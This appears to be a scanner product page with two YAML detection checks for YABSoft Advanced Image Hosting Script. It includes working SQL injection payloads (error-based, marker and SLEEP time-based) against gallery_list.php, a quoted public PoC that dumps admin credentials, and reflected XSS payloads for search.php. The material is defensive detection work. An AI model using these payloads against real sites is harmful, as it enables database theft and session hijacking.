Yabsoft Aihs — 2 vulnerability checks
noctis ships 2 vulnerability checks for Yabsoft Aihs, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
YABSoft Advanced Image Hosting Script gallery_list.php gal SQL Injection
| CVE | CVE-2009-1032 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/yabsoft-aihs/CVE-2009-1032.yaml |
YABSoft Advanced Image Hosting Script (AIHS) 2.3 and earlier places the `gal` parameter of gallery_list.php, unescaped, inside a quoted string of an SQL query, allowing unauthenticated SQL injection.
Under the web root, /aihs, /aihspro and /gallery, this check injects an EXTRACTVALUE expression that makes the database return an XPATH error containing the product of two random numbers, and confirms the computed product appears in the reply. If database errors are shown but that expression is not supported, it falls back to a quote that must produce an SQL syntax error quoting a random marker while a numeric gallery id does not. If the page hides database errors, it falls back to a time-based check: two SLEEP delays of different random lengths must each delay the reply by the requested time over the same request with SLEEP(0). Nothing is written and no data is read from the database.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/gallery_list.php?gal=1'%20AND%20extractvalue(1,concat(0x7e,{{sc.a}}*{{sc.b}})… - HTTP(S) request
GET {{dir}}/gallery_list.php?gal=extractvalue(1,concat(0x7e,{{sc.a}}*{{sc.b}})) - Parses / computes the next value with a Rhai script
- Checks
xv.foundfor^XPATH syntax error: ~[0-9]+$→ finding QoD 97: YABSoft AIHS gallery_list.php gal SQL Injection (CVE-2009-1032) - HTTP(S) request
GET {{dir}}/gallery_list.php?gal=1'{{sc.marker}} - HTTP(S) request
GET {{dir}}/gallery_list.php?gal={{sc.ctl}} - Parses / computes the next value with a Rhai script
- Checks
qm.foundfor^NOCTIS[0-9]+Q$→ finding QoD 75: YABSoft AIHS gallery_list.php gal SQL Injection (CVE-2009-1032) - HTTP(S) request
GET {{dir}}/gallery_list.php?gal=0'%20OR%20(SELECT%20*%20FROM%20(SELECT(SLEEP(0)))noctis)… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/gallery_list.php?gal=0'%20OR%20(SELECT%20*%20FROM%20(SELECT(SLEEP({{sc.s2}}))… - HTTP(S) request
GET {{dir}}/gallery_list.php?gal=0'%20OR%20(SELECT%20*%20FROM%20(SELECT(SLEEP({{sc.s1}}))… - Parses / computes the next value with a Rhai script
- … and 1 more steps — see the feed source below
References:
- https://nvd.nist.gov/vuln/detail/CVE-2009-1032
- https://www.exploit-db.com/exploits/8238
- http://www.securityfocus.com/bid/34176
Feed source — tests/vulnerabilities/yabsoft-aihs/CVE-2009-1032.yaml
# YABSoft Advanced Image Hosting Script (AIHS) <= 2.3 — gallery_list.php 'gal' SQL injection (CVE-2009-1032)
#
# gallery_list.php places the `gal` GET parameter inside a single-quoted string
# of its gallery query (public PoC: gal=3'/**/and/**/ascii(substring((select
# concat(admin,0x3a,pass) from setting limit 0,1),1,1))>100--, a blind boolean
# data dump). The product is commercial; no source or fixed release is public.
#
# The source NASL (2009/gb_yabsoft_aihs_xss_n_sql_inj_vuln.nasl) never sends an
# SQL payload: it only tests the search.php XSS (CVE-2009-4266, own feed in this
# directory) and otherwise reports any "AIH v<=2.3" footer by version. This feed
# proves the SQL injection itself, read-only, under /, /aihs, /aihspro and
# /gallery:
# 1. QoD 97 — error-based, database-computed proof:
# gal=1' AND extractvalue(1,concat(0x7e,A*B)) AND 'x'='x (and the unquoted
# form for an install that does not quote gal) with random 6-digit A, B;
# MySQL/MariaDB answer "XPATH syntax error: '~<A*B>'" — the product is
# never in the request. Constant-folded: errors with or without a matching
# row (checked on MariaDB 10.11 with a populated and an empty table).
# 2. QoD 75 — gal=1'<random marker>: an SQL syntax error quoting the marker,
# while a numeric control shows no SQL error (servers without EXTRACTVALUE).
# 3. QoD 70 — errors hidden (the PoC is blind): row-independent time-based
# check gal=0' OR (SELECT * FROM (SELECT(SLEEP(n)))noctis) AND 'x'='x —
# the derived table sleeps once whatever the row count, SLEEP returns 0 so
# no row matches. Two random delays over a baseline, each matching the
# requested time times the same multiple k (1..3: the app may reuse gal in
# a second query), with a >= k*2.5 s gap (a constant tarpit gives ~0).
# Baseline = the same payload with SLEEP(0) (same status / code path, e.g.
# a "gallery not found" redirect). Limits: http_request's duration_ms stops
# at the response headers (a PHP page sends them after the query unless
# output was flushed earlier); "sleeps once" was checked on MariaDB 10.11 —
# a server that ran SLEEP per scanned row would only miss (k > 3 / timeout).
# No version-only fallback: the injection is tested directly.
#
# Source: OpenVAS/Greenbone NASL 2009/gb_yabsoft_aihs_xss_n_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801092, GPL-2.0-only)
uid: b9dbee4d-f0a6-4af4-877d-8e9c09ef5005
name: "YABSoft Advanced Image Hosting Script gallery_list.php gal SQL Injection (CVE-2009-1032)"
description: |
YABSoft Advanced Image Hosting Script (AIHS) 2.3 and earlier places the
`gal` parameter of gallery_list.php, unescaped, inside a quoted string of an
SQL query, allowing unauthenticated SQL injection.
Under the web root, /aihs, /aihspro and /gallery, this check injects an
EXTRACTVALUE expression that makes the database return an XPATH error
containing the product of two random numbers, and confirms the computed
product appears in the reply. If database errors are shown but that
expression is not supported, it falls back to a quote that must produce an
SQL syntax error quoting a random marker while a numeric gallery id does
not. If the page hides database errors, it falls back to a time-based check:
two SLEEP delays of different random lengths must each delay the reply by
the requested time over the same request with SLEEP(0). Nothing is written and no data
is read from the database.
cves: [CVE-2009-1032]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [yabsoft, aihs, image-hosting, sqli, error-based, time-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-1032"
- "https://www.exploit-db.com/exploits/8238"
- "http://www.securityfocus.com/bid/34176"
steps:
# ── Random operands, marker and sleep delays ──────────────────────────────
- id: gen-operands
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let s1 = rand_int(4, 5);
#{ a: a, b: b, prod: "~" + (a * b), marker: "NOCTIS" + rand_int(10000000, 99999999) + "Q",
ctl: "" + rand_int(100000, 999999), s1: s1, s2: s1 + 3 }
store_as: sc
# ── Per candidate install directory (loop group) ──────────────────────────
# Pre-initialise every stored result a script reads: a failed request leaves
# store_as unset and an undefined var would abort the whole test.
- id: init-xvq-resp
action: set_var
var_name: xvq_resp
var_value: {status: 0, body: null}
loop:
over: ["", "/aihs", "/aihspro", "/gallery"]
var: dir
- id: init-xvn-resp
action: set_var
var_name: xvn_resp
var_value: {status: 0, body: null}
- id: init-qm-resp
action: set_var
var_name: qm_resp
var_value: {status: 0, body: null}
- id: init-ctl-resp
action: set_var
var_name: ctl_resp
var_value: {status: 0, body: null}
- id: init-base-resp
action: set_var
var_name: base_resp
var_value: {status: 0, body: null, duration_ms: 0}
- id: init-sleep1-resp
action: set_var
var_name: sleep1_resp
var_value: {status: 0, body: null, duration_ms: 0}
- id: init-sleep2-resp
action: set_var
var_name: sleep2_resp
var_value: {status: 0, body: null, duration_ms: 0}
# ── Stage 1: EXTRACTVALUE error returning the database-computed product ───
# Quoted context (as in the public PoC) …
- id: xv-quoted
action: http_request
method: GET
port: "{{port}}"
path: "{{dir}}/gallery_list.php?gal=1'%20AND%20extractvalue(1,concat(0x7e,{{sc.a}}*{{sc.b}}))%20AND%20'x'='x"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: xvq_resp
# … and unquoted (a harmless string where gal is quoted).
- id: xv-numeric
action: http_request
method: GET
port: "{{port}}"
path: "{{dir}}/gallery_list.php?gal=extractvalue(1,concat(0x7e,{{sc.a}}*{{sc.b}}))"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: xvn_resp
- id: check-xv
action: script
code: |
let bq = if type_of(xvq_resp.body) == "string" { xvq_resp.body } else { "" };
let bn = if type_of(xvn_resp.body) == "string" { xvn_resp.body } else { "" };
let hq = bq.contains("XPATH syntax error") && bq.contains(sc.prod);
let hn = bn.contains("XPATH syntax error") && bn.contains(sc.prod);
let hit = hq || hn;
#{ hit: hit, how: if hq { "gal=1' AND extractvalue(1,concat(0x7e," + sc.a + "*" + sc.b + ")) AND 'x'='x" } else { "gal=extractvalue(1,concat(0x7e," + sc.a + "*" + sc.b + "))" },
found: if hit { "XPATH syntax error: " + sc.prod } else { "" } }
store_as: xv
- id: report-xv
action: match
source: xv.found
pattern: "^XPATH syntax error: ~[0-9]+$"
condition: "xv.hit"
on_match:
finding:
title: "YABSoft AIHS gallery_list.php gal SQL Injection (CVE-2009-1032)"
description: "gallery_list.php ran an SQL expression injected through the gal parameter: the database returned an XPATH error carrying the product of two random numbers chosen by the scanner, which never appear in the request. An unauthenticated attacker can read any data the application's database account can access, including the administrator credentials."
remediation: "Restrict access to the Advanced Image Hosting Script or take it offline: no fixed release is publicly documented. If you maintain the code, cast gal to an integer (or use a prepared statement) before it reaches the query in gallery_list.php, and do not print database errors to visitors."
confidence_delta: 0.65
qod: 97
evidence: "Error-based SQLi confirmed: {{xv.how}} on {{dir}}/gallery_list.php made the database return an XPATH syntax error carrying the computed product {{sc.prod}} (HTTP {{xvq_resp.status}} / {{xvn_resp.status}})"
stop: true
# ── Stage 2: SQL syntax error quoting a random marker + numeric control ───
- id: qm-probe
action: http_request
method: GET
port: "{{port}}"
path: "{{dir}}/gallery_list.php?gal=1'{{sc.marker}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: qm_resp
- id: ctl-probe
action: http_request
method: GET
port: "{{port}}"
path: "{{dir}}/gallery_list.php?gal={{sc.ctl}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: ctl_resp
# The marker must sit in the database's "near '...'" excerpt (the quote may
# be HTML-escaped), and the control must show no SQL error at all.
- id: check-qm
action: script
code: |
let body = if type_of(qm_resp.body) == "string" { qm_resp.body } else { "" };
let cbody = if type_of(ctl_resp.body) == "string" { ctl_resp.body } else { "" };
let err = ereg("error in your SQL syntax[^\\n]{0,200}near (?:'|�?39;|'|')[^\\n]{0,24}" + sc.marker, body);
let hit = err && ctl_resp.status != 0 && !cbody.contains("error in your SQL syntax");
#{ hit: hit, found: if hit { sc.marker } else { "" } }
store_as: qm
- id: report-qm
action: match
source: qm.found
pattern: "^NOCTIS[0-9]+Q$"
condition: "qm.hit"
on_match:
finding:
title: "YABSoft AIHS gallery_list.php gal SQL Injection (CVE-2009-1032)"
description: "A single quote sent in the gal parameter of gallery_list.php broke the SQL query: the database's syntax error quotes the random text that followed it, while a numeric gal caused no error. The parameter reaches the query unescaped, so an unauthenticated attacker can inject SQL and read the application's database."
remediation: "Restrict access to the Advanced Image Hosting Script or take it offline: no fixed release is publicly documented. If you maintain the code, cast gal to an integer (or use a prepared statement) before it reaches the query in gallery_list.php, and do not print database errors to visitors."
confidence_delta: 0.55
qod: 75
evidence: "Error-based SQLi: gal=1'{{sc.marker}} on {{dir}}/gallery_list.php returned an SQL syntax error quoting the injected marker, while the control gal={{sc.ctl}} returned no SQL error (HTTP {{qm_resp.status}} / {{ctl_resp.status}})"
stop: true
# ── Stage 3 (errors hidden): row-independent time-based check ─────────────
# Baseline first: the same payload with SLEEP(0) — same code path (no row
# matches, so a "gallery not found" redirect or page applies to all three
# requests) — must answer quickly, below 500, without an SQL error (a page
# that shows errors was already handled above).
- id: baseline
action: http_request
method: GET
port: "{{port}}"
path: "{{dir}}/gallery_list.php?gal=0'%20OR%20(SELECT%20*%20FROM%20(SELECT(SLEEP(0)))noctis)%20AND%20'x'='x"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: base_resp
- id: check-baseline
action: script
code: |
let body = if type_of(base_resp.body) == "string" { base_resp.body } else { "" };
let ok = base_resp.status >= 200 && base_resp.status < 500
&& !body.contains("error in your SQL syntax") && base_resp.duration_ms < 4000;
#{ ok: ok }
store_as: bl
# Longer delay first: an escalating WAF delay cannot fake the ordering.
- id: sleep-probe-2
action: http_request
method: GET
port: "{{port}}"
path: "{{dir}}/gallery_list.php?gal=0'%20OR%20(SELECT%20*%20FROM%20(SELECT(SLEEP({{sc.s2}})))noctis)%20AND%20'x'='x"
condition: "bl.ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 35
store_as: sleep2_resp
- id: sleep-probe-1
action: http_request
method: GET
port: "{{port}}"
path: "{{dir}}/gallery_list.php?gal=0'%20OR%20(SELECT%20*%20FROM%20(SELECT(SLEEP({{sc.s1}})))noctis)%20AND%20'x'='x"
condition: "bl.ok && sleep2_resp.duration_ms >= base_resp.duration_ms + sc.s2 * 1000 - 300"
tls_insecure: true
follow_redirects: false
timeout_secs: 35
store_as: sleep1_resp
# Each delay must match the requested SLEEP times the same whole multiple k
# (1..3: the page may run the injected value in more than one query), and
# the longer SLEEP must take at least k * 2.5 s more than the shorter one —
# a tarpit adding the same delay to every request gives a gap of ~0.
- id: check-timing
action: script
code: |
let base = base_resp.duration_ms;
let d1 = sleep1_resp.duration_ms - base;
let d2 = sleep2_resp.duration_ms - base;
let ok = false;
if bl.ok && sleep1_resp.status == base_resp.status && sleep2_resp.status == base_resp.status
&& d1 >= sc.s1 * 1000 - 300 && d2 >= sc.s2 * 1000 - 300 {
for k in 1..4 {
let w1 = d1 >= k * sc.s1 * 1000 - 300 && d1 <= k * sc.s1 * 1000 + 2500;
let w2 = d2 >= k * sc.s2 * 1000 - 300 && d2 <= k * sc.s2 * 1000 + 2500;
if w1 && w2 && (d2 - d1) >= k * 2500 { ok = true; }
}
}
#{ blind: ok, found: if ok { "SLEEP" } else { "" } }
store_as: tb
- id: report-time
action: match
source: tb.found
pattern: "^SLEEP$"
condition: "tb.blind"
on_match:
finding:
title: "YABSoft AIHS gallery_list.php gal SQL Injection (CVE-2009-1032)"
description: "A SLEEP expression injected through the gal parameter of gallery_list.php delayed the page by the requested time, for two different random delays, while the same expression with SLEEP(0) answered at once. The database runs SQL taken from the parameter, so an unauthenticated attacker can read the application's database (blind injection)."
remediation: "Restrict access to the Advanced Image Hosting Script or take it offline: no fixed release is publicly documented. If you maintain the code, cast gal to an integer (or use a prepared statement) before it reaches the query in gallery_list.php."
confidence_delta: 0.40
qod: 70
evidence: "Time-based SQLi confirmed: gal=0' OR (SELECT * FROM (SELECT(SLEEP(n)))noctis) AND 'x'='x on {{dir}}/gallery_list.php delayed the reply by the injected n — baseline {{base_resp.duration_ms}} ms, SLEEP({{sc.s2}}) {{sleep2_resp.duration_ms}} ms, SLEEP({{sc.s1}}) {{sleep1_resp.duration_ms}} ms"
stop: trueYABSoft Advanced Image Hosting Script search.php text Reflected XSS
| CVE | CVE-2009-4266 |
|---|---|
| Severity | medium · CVSS 4.3 |
| Category | xss — XSS |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/yabsoft-aihs/CVE-2009-4266.yaml |
YABSoft Advanced Image Hosting Script (AIHS) 2.2 and 2.3 print the `text` parameter of search.php back into the results page without HTML escaping, allowing reflected cross-site scripting.
Under the web root, /aihs, /aihspro and /gallery, this check requests search.php?text="><script>alert(/marker/)</script>&dosearch=Search, where marker is random for each scan, then the same search without the leading double quote and angle bracket. The finding requires an HTTP 200 page carrying the AIHS branding (yabsoft / "AIH v" / Advanced Image Hosting) that contains either the first term verbatim, with its raw double quote (it runs whether printed as text or inside a quoted attribute), or the bare script element of the second search in the page text, outside any tag. A page that escapes the term, or prints it only inside an attribute value, is not reported. The request is a plain search and changes nothing on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/search.php?text=%22%3E%3Cscript%3Ealert%28%2F{{tok}}%2F%29%3C%2Fscript%3E&dos… - HTTP(S) request
GET {{dir}}/search.php?text=%3Cscript%3Ealert%28%2F{{tok}}%2F%29%3C%2Fscript%3E&dosearch=… - Parses / computes the next value with a Rhai script
- Checks
xss_prooffor^(?:">)?<script>alert\(/noctis[0-9a-f]{12}/\)</script>$→ finding QoD 75: YABSoft AIHS search.php text Reflected XSS (CVE-2009-4266)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2009-4266
- https://www.exploit-db.com/exploits/33391
- http://www.securityfocus.com/bid/37233
Feed source — tests/vulnerabilities/yabsoft-aihs/CVE-2009-4266.yaml
# YABSoft Advanced Image Hosting Script (AIHS) 2.2 / 2.3 — search.php 'text' reflected XSS (CVE-2009-4266)
#
# search.php prints the `text` search term back unescaped (public PoC:
# search.php?text=<script>alert(document.cookie)</script>&dosearch=Search).
# The product is commercial; no source or fixed release is public.
#
# Differences with the source NASL (2009/gb_yabsoft_aihs_xss_n_sql_inj_vuln.nasl):
# - the NASL sends a fixed <script>alert(123456)</script> and greps it; a page
# that always carries that string, or one that prints the term inside a
# quoted attribute (not executable), matches too. This feed sends
# "><script>alert(/<random>/)</script> and requires that exact sequence,
# raw double quote included (a backslash before it, from magic_quotes, is
# still a breakout): it executes in a text node and breaks out of a quoted
# attribute, while an "-escaping page does not match; a second search
# with the bare element catches a page that escapes only the quote but
# prints the term in a text node (element right after text, no tag "<"
# between it and the previous ">", so an attribute value never matches);
# - the NASL only probes the directory its product detection found, and
# otherwise reports any "AIH v<=2.3" footer by version, even when the check
# failed; this feed walks /, /aihs, /aihspro and /gallery and reports only
# a reflection it observed, on a page carrying the AIHS branding (a
# de-branded install — YABSoft sold branding removal — is not reported).
# The SQL injection the NASL names (CVE-2009-1032) has its own feed here.
#
# Source: OpenVAS/Greenbone NASL 2009/gb_yabsoft_aihs_xss_n_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801092, GPL-2.0-only)
uid: 94fade72-278f-4022-aca3-43cfd0b158c0
name: "YABSoft Advanced Image Hosting Script search.php text Reflected XSS (CVE-2009-4266)"
description: |
YABSoft Advanced Image Hosting Script (AIHS) 2.2 and 2.3 print the `text`
parameter of search.php back into the results page without HTML escaping,
allowing reflected cross-site scripting.
Under the web root, /aihs, /aihspro and /gallery, this check requests
search.php?text="><script>alert(/marker/)</script>&dosearch=Search, where
marker is random for each scan, then the same search without the leading
double quote and angle bracket. The finding requires an HTTP 200 page
carrying the AIHS branding (yabsoft / "AIH v" / Advanced Image Hosting)
that contains either the first term verbatim, with its raw double quote (it
runs whether printed as text or inside a quoted attribute), or the bare
script element of the second search in the page text, outside any tag. A
page that escapes the term, or prints it only inside an attribute value, is
not reported. The request is a
plain search and changes nothing on the server.
cves: [CVE-2009-4266]
cvss: 4.3
severity: medium
category: xss
confidence_base: 0.30
tags: [yabsoft, aihs, image-hosting, xss, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-4266"
- "https://www.exploit-db.com/exploits/33391"
- "http://www.securityfocus.com/bid/37233"
steps:
# Random marker for this scan (letters and hex digits only).
- id: marker
action: script
code: |
"noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4)
store_as: tok
# ── Loop group: every following step runs once per install dir.
- id: init-probe-r
action: set_var
var_name: probe_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/aihs", "/aihspro", "/gallery"]
- id: init-probe2-r
action: set_var
var_name: probe2_r
var_value: {status: 0, body: ""}
# 1. Attribute breakout form: "><script>alert(/marker/)</script>
- id: probe
action: http_request
method: GET
path: "{{dir}}/search.php?text=%22%3E%3Cscript%3Ealert%28%2F{{tok}}%2F%29%3C%2Fscript%3E&dosearch=Search"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: probe_r
# 2. Bare element (the public PoC form), for a page that escapes only the
# double quote but prints the term in a text node.
- id: probe2
action: http_request
method: GET
path: "{{dir}}/search.php?text=%3Cscript%3Ealert%28%2F{{tok}}%2F%29%3C%2Fscript%3E&dosearch=Search"
port: "{{port}}"
condition: "probe_r.status == 200"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: probe2_r
# The executable reflection with this scan's marker on an AIHS page — or "":
# probe 1 verbatim with its raw quote, closing a double-quoted attribute
# (="…) or in a text node (a backslash before it, from PHP magic_quotes_gpc,
# is still a breakout; inside a single-quoted attribute it is not, so that
# context is not accepted), or probe 2 in a text node (only
# text, no tag, between the previous ">" and the element: a quoted or
# unquoted attribute value always has its tag's "<" there).
- id: reflection
action: script
code: |
let out = "";
let b1 = if probe_r.status == 200 && type_of(probe_r.body) == "string" { probe_r.body } else { "" };
let b2 = if probe2_r.status == 200 && type_of(probe2_r.body) == "string" { probe2_r.body } else { "" };
let l1 = tolower(b1);
let l2 = tolower(b2);
let br1 = l1.contains("yabsoft") || l1.contains("aih v") || l1.contains("advanced image hosting");
let br2 = l2.contains("yabsoft") || l2.contains("aih v") || l2.contains("advanced image hosting");
if br1 && ereg("(?:=\\s*\"\\\\?|>[^<>]*\\\\?)\"><script>alert\\(/" + tok + "/\\)</script>", b1) {
out = "\"><script>alert(/" + tok + "/)</script>";
} else if br2 && ereg(">[^<>]*<script>alert\\(/" + tok + "/\\)</script>", b2) {
out = "<script>alert(/" + tok + "/)</script>";
}
out
store_as: xss_proof
- id: report
action: match
source: xss_proof
pattern: '^(?:">)?<script>alert\(/noctis[0-9a-f]{12}/\)</script>$'
on_match:
finding:
title: "YABSoft AIHS search.php text Reflected XSS (CVE-2009-4266)"
description: "A search for a term carrying a script element was answered with an Advanced Image Hosting Script results page holding that element unescaped, either with the double quote that closes a quoted attribute or inside the page text, so the script element is added to the page. An attacker can send a visitor a search link that runs script in the context of the image hosting site, for example to steal the session cookie."
remediation: "Restrict access to the Advanced Image Hosting Script or take it offline: no fixed release is publicly documented. If you maintain the code, HTML-escape the search term (htmlspecialchars($text, ENT_QUOTES)) everywhere search.php prints it."
confidence_delta: 0.55
qod: 75
evidence: "GET {{dir}}/search.php?text=<injected term>&dosearch=Search returned HTTP 200 with an AIHS page containing the injected element unescaped: {{xss_proof}}"
stop: true